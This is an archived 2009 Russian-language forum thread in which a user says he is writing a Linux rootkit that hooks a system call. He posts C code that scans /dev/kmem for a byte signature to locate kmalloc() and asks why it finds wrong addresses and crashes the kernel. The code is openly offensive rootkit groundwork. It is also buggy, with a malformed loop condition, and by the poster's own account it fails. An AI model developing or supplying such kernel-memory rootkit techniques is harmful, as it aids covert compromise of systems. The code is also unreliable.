PDA

Просмотр полной версии : Проблема с kmalloc()


4ek
04.04.2009, 20:59
Доброго дня суток.
Пишу программу под nix (дистр - слака 12.1), обычный руткит, перехватывающий системный вызов.
Встал вопрос о том, каким образом найти адрес функции kmalloc(), чтобы вызвать по найденному адресу из user-mode.
Используется следующая функция, но почему то она находит адреса (причем куча) только после 0xc1######, хотя как мне кажется все системные функции должны находится в интервале от нижней границы 0xc0000000 до 0xc1000000.
unsigned long get_kma()
{
unsigned int i;
unsigned char buf[0x10000], *p, *p1;
unsigned long ret;
char c;
kmem = open("/dev/kmem", O_RDONLY);
if (kmem<0) return 1;
for (i = page_offset+0x100000; i<(page_offset; 0x10000000); i+=0x10000)
{
readkmem (buf,i,sizeof(buf));
//printf("%s\n",buf);
//c = getc(stdin);
p1 = (char*)memmem (buf, sizeof(buf), "\x68\xf0\x01\x00",4);
if (p1)
{
printf("kmalloc() is found!!!\n");
p = (char*)memmem(p1+4, sizeof(buf), "\xe8",1)+1;
if (p)
{
//close (kmem);
//return *(unsigned long *)p+i+(p-buf)+4;
printf("----0x%x\n", *(unsigned long *)p+i+(p-buf)+4);
c=getc(stdin);
}
}
}
close(kmem);
return 0;
}
Пытался собственно вызвать один из полученных адресов - ядро улетает, приходится перезагружаться. В чем может быть проблема, почему не находит адрес kmalloc()?

4ek
05.04.2009, 18:40
неужто ни у кого никаких идей нет? (
если что вот функция kmemread:
static inline void readkmem (void *m,unsigned off,int sz)
{
if (lseek64(kmem,(unsigned long long) off,0)!=off){
perror("kmem lseek"); exit(2);
}
if (read(kmem,m,sz)!=sz) {
perror("kmem read"); exit(2);
}
}